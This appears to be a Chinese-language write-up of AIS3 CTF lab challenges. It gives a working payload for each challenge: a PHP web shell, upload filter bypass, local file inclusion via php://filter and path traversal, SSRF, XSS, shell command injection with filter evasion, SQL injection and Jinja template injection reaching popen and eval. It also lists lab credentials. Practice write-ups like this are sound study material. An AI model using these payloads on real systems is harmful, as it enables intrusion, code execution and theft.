bac01 === >用戶名先隨便打,網址會出現 http://ctfd-ais3.crazyfirelee.tw:9001/user 把它改成(有user就有admin,試試admin) http://ctfd-ais3.crazyfirelee.tw:9001/admin 結果:  bac02 === >這題要看規律: 可選的產品網址分別為: http://ctfd-ais3.crazyfirelee.tw:9002/product/1 http://ctfd-ais3.crazyfirelee.tw:9002/product/2 http://ctfd-ais3.crazyfirelee.tw:9002/product/3 http://ctfd-ais3.crazyfirelee.tw:9002/product/5 由此可推論有隱藏連結: http://ctfd-ais3.crazyfirelee.tw:9002/product/4 結果:  SRF01 === >輸入```file:///app/FLAG```->點開原始碼->找到base64加密的字串->到base64解密 >結果: > SRF02 === >輸入範例網址->輸入 ```http://127.0.0.1/local``` ->  把base64後面的加密文字拿去base64進行解密即可拿到flag 結果:  FIL01 === >上傳檔案(檔案內容:```<?php system($_GET['cmd']);?>```)->點選UPLOAD to SERVER->拿到的網址複製並加上```?cmd=```執行linux指令->```ls ../```->```cat ../FLAG``` >結果: > FIL02(這題我使用linux解題) === >檔名改jpg.php >開啟linux的Burp Suite並把網址貼上 > >為了讓系統誤判,把上圖紅色部分更改為```image/jpg``` >forward之後就會拿到成功的網址,如下圖: > >成功後與剛剛步驟相同 尋找FLAG檔案於何處(用cd和ls -la),即可找到flag >結果: > LFI01 === >把圖片後方連結改為```php://filter/read=convert.base64-encode/resource=index.php``` >這樣網址會變成```http://ctfd-ais3.crazyfirelee.tw:9021/include.php?GetType=file_get_contents&file=php://filter/read=convert.base64-encode/resource=index.php``` >把內容拿去base64解碼會看到下圖,找到admin即可看到password > >username=admin,password=CATLOVEBITCOINMEOWMEOW >結果: > LFI02 === >要有php檔,檔案內容為```<?php system($_GET['cmd']);?>```,會出現下圖 > >網址貼上```http://ctfd-ais3.crazyfirelee.tw:9022/post.php?form=../../../../../tmp/a764c_108.160.138.201.php``` >其中../是為了回到根目錄 >最後用ls和cat查找flag >結果: > XSS01 === >輸入```<script>alert(FLAG)</script>```,會顯示以下畫面: > 結果:  CMD01 === >先輸入```;ls -a```(略過前面直接顯示) >會看到FLAG->```;cat FLAG```即可顯示 > CMD02 === >先輸入```;echo ```(因為ls被限制住了) >發現有flag,但是cat被限制住了,所以要改輸入```ca\t FLAG```即可得到FLAG' >結果 > CMD03 === >由於之前指令都被禁掉,所以網上查到還可使用```|cat${IFS}FLAG*```即可得到FLAG >結果: > CMD06 === ```a|grep${IFS}-r${IFS}AIS3``` 結果:  SQL01 === 密碼:由於1=1必為true 所以密碼可輸入'OR'1'='1繞過  SQL02 === 進入之後,輸入 ```char' UNION SELECT id,username,password,isAdmin from ApexPredators.users#``` "char"可以是任意字串 這段代碼可以找出id、用戶名、密碼、權限  會有很多個用戶,而其中一個用戶權限最高,在這裡指的就是 ```KubenBlisk_ BliskLeader#2024``` 所以用戶名=KubenBlisk 密碼=BliskLeader#2024 結果:  STI01 === >輸入```{{"".__class__.__bases__[0]. __subclasses__()}}``` >class尋找字串 base尋找字串上層object subclasses尋找object中所有東西 會出現下圖 > >因此要初始化object 尋找popen (初始化指令init) >所以最後指令為```{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat >FLAG').read()}}``` >結果如下圖: > STI02 === >輸入>```{{"".__class__.__base__.__subclasses__().__getitem__(410).__init__.__globals__.__getitem__('__built>ins__').__getitem__('eval')('__import__("os").popen("cat FLAG").read()')}}``` >即可拿到flag >結果: >
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up